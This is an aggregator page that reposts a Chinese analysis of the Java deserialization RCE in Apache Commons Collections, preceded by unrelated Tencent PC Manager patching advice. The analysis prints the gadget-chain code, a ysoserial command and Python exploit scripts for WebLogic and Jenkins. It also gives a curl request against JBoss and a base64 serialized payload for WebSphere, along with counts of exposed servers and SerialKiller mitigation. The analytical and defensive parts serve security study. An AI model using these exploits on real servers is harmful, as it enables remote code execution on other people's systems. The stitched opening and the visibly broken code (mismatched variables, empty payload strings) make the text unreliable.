如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险相关的知识,希望对你有一定的参考价值。
打开腾讯电脑管家——工具箱——修复漏洞,进行漏洞扫描和修复。建议设置开启自动修复漏洞功能,开启后,电脑管家可以在发现高危漏洞(仅包括高危漏洞,不包括其它漏洞)时,第一时间自动进行修复,无需用户参与,最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下:进入电脑管家“修复漏洞”模块—“设置”,点击开启自动修复漏洞即可。 参考技术A 漏洞是指应用软件或操作系统软件在逻辑设计上的缺陷或在编写时产生的错误,
这个缺陷或错误可以被不法者或者电脑黑客利用。修补漏洞,可以用腾讯电脑管家,
修复漏洞,强大智能的漏洞修复工具,全面修复微软系统漏洞和第三方软件漏洞。
Java反序列化漏洞通用利用分析
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注。
Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析。
Java反序列化漏洞简介:
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream
类的writeObject()
方法可以实现序列化,类ObjectInputStream
类的readObject()
方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
1 public static void main(String args[]) throws Exception { 2 String obj = "hello world!"; 3 4 // 将序列化对象写入文件object.db中 5 FileOutputStream fos = new FileOutputStream("object.db"); 6 ObjectOutputStream os = new ObjectOutputStream(fos); 7 os.writeObject(obj); 8 os.close(); 9 10 // 从文件object.db中读取数据 11 FileInputStream fis = new FileInputStream("object.db"); 12 ObjectInputStream ois = new ObjectInputStream(fis); 13 14 // 通过反序列化恢复对象obj 15 String obj2 = (String)ois.readObject(); 16 ois.close(); 17 }
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度,可以比作在开启了ASLR地址随机化防御的系统中,出现了一个加载地址固定的共享库。
利用Apache Commons Collections实现远程代码执行:
参考Matthias Kaiser在11月份的报告[Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.],以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用readObject()
时,就能直接实现任意代码执行。
Map
类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap
,用来对Map
进行某种变换,只要调用decorate()
函数,传入key和value的变换函数Transformer
,即可从任意Map
对象生成相应的TransformedMap
,decorate()
函数如下:
1 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 2 return new TransformedMap(map, keyTransformer, valueTransformer); 3 }
Transformer
是一个接口,其中定义的transform()
函数用来将一个对象转换成另一个对象。如下所示:
1 public interface Transformer { 2 public Object transform(Object input); 3 }
当Map
中的任意项的Key或者Value被修改,相应的Transformer
就会被调用。除此以外,多个Transformer
还能串起来,形成ChainedTransformer
。
Apache Commons Collections中已经实现了一些常见的Transformer
,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer
,代码如下:
public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex); } } }
只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map
和一个能够执行代码的ChainedTransformer
,以此生成一个TransformedMap
,然后想办法去触发Map
中的MapEntry
产生修改(例如setValue()
函数),即可触发我们构造的Transformer。
测试代码如下:
1 public static void main(String[] args) throws Exception { 2 Transformer[] transformers = new Transformer[] { 3 new ConstantTransformer(Runtime.class), 4 new InvokerTransformer("getMethod", new Class[] { 5 String.class, Class[].class }, new Object[] { 6 "getRuntime", new Class[0] }), 7 new InvokerTransformer("invoke", new Class[] { 8 Object.class, Object[].class }, new Object[] { 9 null, new Object[0] }), 10 new InvokerTransformer("exec", new Class[] { 11 String.class }, new Object[] {"calc.exe"})}; 12 13 Transformer transformedChain = new ChainedTransformer(transformers); 14 15 Map innerMap = new hashMap(); 16 innerMap.put("value", "value"); 17 map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 18 19 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 20 onlyElement.setValue("foobar"); 21 22 }
当上面的代码运行到setValue()
时,就会触发ChainedTransformer
中的一系列变换函数:首先通过ConstantTransformer
获得Runtime
类,进一步通过反射调用getMethod
找到invoke
函数,最后再运行命令calc.exe
。
但是目前的构造还需要依赖于触发Map
中某一项去调用setValue()
,我们需要想办法通过readObject()
直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler
,这个类有一个成员变量memberValues
是Map
类型,如下所示:
1 class AnnotationInvocationHandler implements InvocationHandler, Serializable { 2 private final Class<? extends Annotation> type; 3 private final Map<String, Object> memberValues; 4 5 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { 6 this.type = type; 7 this.memberValues = memberValues; 8 } 9 ...
更令人惊喜的是,AnnotationInvocationHandler
的readObject()
函数中对memberValues
的每一项调用了setValue()
函数,如下所示:
1 private void readObject(java.io.ObjectInputStream s) 2 throws java.io.IOException, ClassNotFoundException { 3 s.defaultReadObject(); 4 5 6 // Check to make sure that types have not evolved incompatibly 7 8 AnnotationType annotationType = null; 9 try { 10 annotationType = AnnotationType.getInstance(type); 11 } catch(IllegalArgumentException e) { 12 // Class is no longer an annotation type; all bets are off 13 return; 14 } 15 16 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 17 18 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { 19 String name = memberValue.getKey(); 20 Class<?> memberType = memberTypes.get(name); 21 if (memberType != null) { // i.e. member still exists 22 Object value = memberValue.getValue(); 23 if (!(memberType.isInstance(value) || 24 value instanceof ExceptionProxy)) { 25 // 此处触发一些列的Transformer 26 memberValue.setValue( 27 new AnnotationTypeMismatchExceptionProxy( 28 value.getClass() + "[" + value + "]").setMember( 29 annotationType.members().get(name))); 30 } 31 } 32 } 33 }
因此,我们只需要使用前面构造的Map
来构造AnnotationInvocationHandler
,进行序列化,当触发readObject()
反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:
1 public static void main(String[] args) throws Exception { 2 Transformer[] transformers = new Transformer[] { 3 new ConstantTransformer(Runtime.class), 4 new InvokerTransformer("getMethod", new Class[] { 5 String.class, Class[].class }, new Object[] { 6 "getRuntime", new Class[0] }), 7 new InvokerTransformer("invoke", new Class[] { 8 Object.class, Object[].class }, new Object[] { 9 null, new Object[0] }), 10 new InvokerTransformer("exec", new Class[] { 11 String.class }, new Object[] {"calc.exe"})}; 12 13 Transformer transformedChain = new ChainedTransformer(transformers); 14 15 Map innerMap = new hashMap(); 16 innerMap.put("value", "value"); 17 map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 18 19 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, outerMap); 23 24 File f = new File("payload.bin"); 25 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 26 out.writeObject(instance); 27 out.flush(); 28 out.close(); 29 30 }
以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
我们可以直接使用工具ysoserial【https://github.com/frohoff/ysoserial】【appseccali-2015-marshalling-pickles】来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()
实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap
和InvokerTransformer
来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler
,而是使用了java.lang.reflect.Proxy
中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。
漏洞利用实例:
利用过程概述:
首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject()
)来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。
确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 ‘id >> /tmp/redrain‘ > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream
的反序列化操作,随后通过反射调用Runtime.getRunTime.exec
即可完成利用。
WebLogic:
参照【foxglovesecurity analysis】中的方法,对安装包文件grep受影响的类InvokerTransformer
:
[email protected]:/opt/OracleHome# grep -R InvokerTransformer ./ Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接着通过寻找接收外部输入的点,来让我们发送序列化对象。
WebLogic外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现走T3协议时携带了java序列化对象,所以我们只用把这个包文从序列化开始的标记(ac ed 00 05)后加入payload,重放这个数据,完成利用。
以下是breenmachine的完整利用脚本:
1 #!/usr/bin/python 2 import socket 3 import sys 4 5 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 7 server_address = (sys.argv[1], int(sys.argv[2])) 8 print ‘connecting to %s port %s‘ % server_address 9 sock.connect(server_address) 10 11 # Send headers 12 headers=‘t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n‘ 13 print ‘sending "%s"‘ % headers 14 sock.sendall(headers) 15 16 data = sock.recv(1024) 17 print >>sys.stderr, ‘received "%s"‘ % data 18 19 payloadObj = open(sys.argv[3],‘rb‘).read() 20 21 payload=‘‘ 22 print ‘sending payload...‘ 23 ‘‘‘outf = open(‘payload.tmp‘,‘w‘) 24 outf.write(payload) 25 outf.close()‘‘‘ 26 sock.send(payload)
在weblogic的利用中,有个小坑是不能破坏原始T3协议数据中包装的java对象。
Jenkins:
Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。
同样,通过grep受影响的类InvokerTransformer
[email protected]:/usr/share/jenkins# grep -R "InvokerTransformer" ./ Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches
在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后:
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c 00000010 6f 6e 6e 65 63 74 onnect
在标记位的地方将base64处理过的payload修改覆盖原始包文中的序列化对象,发包后,完成利用。这里给出一个演示视频:
以下是@breenmachine的完整利用脚本:
1 #!/usr/bin/python 2 3 #usage: ./jenkins.py host port /path/to/payload 4 import socket 5 import sys 6 import requests 7 import base64 8 9 host = sys.argv[1] 10 port = sys.argv[2] 11 12 #Query Jenkins over HTTP to find what port the CLI listener is on 13 r = requests.get(‘http://‘+host+‘:‘+port) 14 cli_port = int(r.headers[‘X-Jenkins-CLI-Port‘]) 15 16 #Open a socket to the CLI port 17 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 server_address = (host, cli_port) 19 print ‘connecting to %s port %s‘ % server_address 20 sock.connect(server_address) 21 22 # Send headers 23 headers=‘\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74‘ 24 print ‘sending "%s"‘ % headers 25 sock.send(headers) 26 27 data = sock.recv(1024) 28 print >>sys.stderr, ‘received "%s"‘ % data 29 30 data = sock.recv(1024) 31 print >>sys.stderr, ‘received "%s"‘ % data 32 33 payloadObj = open(sys.argv[3],‘rb‘).read() 34 payload_b64 = base64.b64encode(payloadObj) 35 payload=‘‘ 36 37 print ‘sending payload...‘ 38 ‘‘‘outf = open(‘payload.tmp‘,‘w‘) 39 outf.write(payload) 40 outf.close()‘‘‘ 41 sock.send(payload)
Jboss:
Jboss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣。
分析流程和之前一样,只不过此处接受的点在jmx上,所以通过的协议也和前两个不同,是HTTP协议,不再赘述,详细的jboss分析可以参看Exploit – JBoss。
利用如下:
curl --header ‘Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue‘ --data-binary ‘@/tmp/payload.out‘ http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine给出的http请求报文:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 172.17.0.2:8080 Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1434 payload
WebSphere:
WebSphere的利用相比较之前几个case就非常粗暴简单了,可惜的是很少会暴露在公网。
找到受影响的lib的位置。
[email protected]:/opt/server/IBM# find . -iname "*commons*collection*" ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar ./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar ./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar ./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar ./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用。
POST / HTTP/1.0 Host: 127.0.0.1:8880 Content-Type: text/xml; charset=utf-8 Content-Length: 2646 SOAPAction: "urn:AdminService" <?xml version=‘1.0‘ encoding=‘UTF-8‘?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> <LoginMethod>BasicAuth</LoginMethod> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname> <attribute xsi:type="xsd:string">ringBufferSize</attribute> </ns1:getAttribute> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
其它:
因为这个安全问题的根源在于ObjectInputStream
处理反序列化时接受外部输入,而又由于其他类似InvokerTransformer
的类的构造函数被调用,从而造成执行,而InvokerTransformer
方便的提供了根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE。
所以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,开个脑洞引申一下,可以很明了的发现,远远不止breenmachine所指出的这几个流行web server,更可能影响更多使用了commons-collections
,并且触发ObjectInputStream
反序列化操作的应用,如一些java开发的CMS,中间件等等,甚至不仅仅是PC端,移动端如Android的很多app都可能受到该问题影响。
漏洞影响:
通过简单的全网分析和POC验证。
Jenkins收到该漏洞影响较大,在自测中,全球暴露在公网的11059
台均受到该问题影响,zoomeye的公开数据中再测试后有12493
受到该漏洞影响,shadon的公开数据中16368
台jenkins暴露公网可能受到影响(未复测shadon数据)。
Weblogic因为公开到公网的数据较少,所以受影响面也稍微少一些,在自测中,全球486
台均受到该问题影响,zoomeye的公开数据中再测试后有201
台收到该漏洞影响,shadon的公开数据中806
台weblogic可能受到影响(未复测shadon数据)。
Jboss因为需要/invoker/JMXInvokerServlet的支持,所以受影响面稍小(但我们并未具体检测jboss中没有删除/invoker/JMXInvokerServlet的数据),在自测中,全球29194
台jboss暴露在公网,但由于大部分jboss都删除了jmx,所以真正受到影响的覆盖面并不广,zoomeye的公开数据中有7770
台jboss暴露在公网,shadon的公开数据中46317
台jboss暴露在公网。
WebSphere在自测中,全球暴露在公网的2076
台均受到该问题影响,zoomeye的公开数据中再测试后仍有4511
台websphere受到影响,shadon的公开数据中5537
台websphere可能受到影响(未复测shadon数据)。
修复建议:
有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
。
下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream
替换为SerialKiller
,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller
有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。
lib地址:https://github.com/ikkisoft/SerialKiller
转载:http://www.cnblogs.com/sevck/
以上是关于如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险的主要内容,如果未能解决你的问题,请参考以下文章
修而未复:说说WebLogic那修不完的Java反序列化漏洞
漏洞通告Weblogic反序列化漏洞通告(CVE-2018-2628)